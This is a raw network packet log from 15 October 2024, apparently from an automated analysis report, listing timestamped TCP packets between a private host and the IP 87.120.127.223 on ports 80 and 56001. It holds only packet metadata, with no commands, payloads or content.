Oct 15, 2024 19:22:39.846203089 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.846218109 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.846230984 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.846234083 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.846261024 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.846760988 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.846776962 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.846793890 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.846807003 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.846833944 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.846848965 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.846851110 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.846889973 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.849656105 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.849682093 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.849695921 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.849756002 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.849757910 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.849771976 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.849786997 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.849797010 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.849812031 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.849850893 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.849863052 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.849920988 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.849931955 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.849946976 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.849961996 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.849981070 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.850013018 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.850123882 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.850150108 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.850163937 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.850208044 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.891030073 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.891052961 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.891081095 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.891098976 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.891115904 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.891136885 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.891165972 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.891210079 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.893434048 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.893493891 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.893510103 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.893560886 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.893564939 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.893578053 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.893593073 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.893621922 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.938035011 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.961862087 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.961951971 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.961978912 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.961994886 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962009907 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962027073 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962030888 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.962044001 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962063074 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962068081 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.962080956 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962099075 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962110996 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.962111950 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962137938 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.962155104 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962169886 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962184906 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962199926 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962213993 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.962215900 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962239027 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.962263107 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.962542057 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962558031 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962573051 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962590933 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962605953 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962605953 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.962622881 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.962637901 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.963258982 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.965524912 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.965567112 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.965583086 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.965701103 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.965718031 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.965734005 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.965749979 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.965764999 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.965780020 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.965804100 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.965823889 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.965884924 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.965902090 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.965950012 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.965964079 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.966003895 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.966017962 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.966363907 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.008063078 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.008080006 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.008095980 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.008212090 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.008213043 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.008295059 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.008310080 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.008327961 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.008358002 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.009423971 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.009481907 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.009496927 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.009546995 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.009588003 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.009748936 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.009763002 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.010143042 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.050689936 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.050710917 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.050772905 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.064824104 CEST	49826	56001	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.070806980 CEST	56001	49826	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.070949078 CEST	49826	56001	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.071727037 CEST	49826	56001	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.076832056 CEST	56001	49826	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.077888966 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.077943087 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.077986002 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078038931 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078071117 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078102112 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.078125954 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078159094 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078191042 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078211069 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.078219891 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078241110 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.078269958 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078304052 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078347921 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.078351974 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078386068 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078413963 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078437090 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.078444958 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078480005 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078491926 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.078511000 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078552008 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078555107 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.078582048 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078607082 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.078617096 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078661919 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078681946 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.078696012 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078746080 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078752041 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.078775883 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078824043 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078829050 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.078859091 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078886986 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.078906059 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.080573082 CEST	49826	56001	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.081304073 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081356049 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081384897 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.081406116 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081449032 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.081456900 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081516981 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081545115 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081594944 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081609011 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.081625938 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081636906 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.081654072 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081692934 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.081708908 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081742048 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081773043 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081804991 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081837893 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081857920 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.081870079 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081901073 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081918001 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.081934929 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081964016 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.081979036 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.082000971 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.082046032 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.085449934 CEST	56001	49826	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.123362064 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.123433113 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.123481035 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.123516083 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.123539925 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.123549938 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.123588085 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.125041962 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.125122070 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.125194073 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.125224113 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.125257015 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.125438929 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.125472069 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.125498056 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.125507116 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.125555992 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.166205883 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.166273117 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.166342974 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.194225073 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194257975 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194307089 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194338083 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.194402933 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194452047 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194487095 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194504976 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.194519043 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194555044 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194570065 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.194637060 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.194641113 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194674015 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194708109 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194747925 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.194758892 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194792986 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194814920 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.194830894 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194883108 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194916010 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194930077 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.194957972 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.194967031 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.194998980 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.195031881 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.195065022 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.195096970 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.195108891 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.197400093 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197432041 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197467089 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197468042 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.197519064 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197530985 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.197570086 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197604895 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197638988 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197653055 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.197690964 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197735071 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.197741032 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197774887 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197817087 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.197823048 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197856903 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197861910 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.197905064 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197938919 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197948933 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.197967052 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.197999001 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.198033094 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.198034048 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.198065042 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.198100090 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.198107958 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.198131084 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.198153019 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.239406109 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.239475012 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.239509106 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.239541054 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.239569902 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.239576101 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.239624977 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.240886927 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.240940094 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.240988970 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.240994930 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.241025925 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.241056919 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.241091013 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.241091967 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.241169930 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.312067032 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312129021 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312145948 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312163115 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312194109 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.312215090 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.312278032 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312294006 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312308073 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312324047 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312338114 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.312448025 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312452078 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.312463999 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312489986 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312508106 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312524080 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312539101 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312552929 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.312578917 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.312710047 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312726021 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312741041 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312788963 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.312810898 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312825918 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312840939 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.312850952 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.312881947 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.315196991 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315232038 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315248013 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315304041 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.315314054 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315427065 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315443039 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315464020 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315478086 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.315480947 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315495968 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.315495968 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315512896 CEST	80	49807	87.120.127.223	192.168.2.5
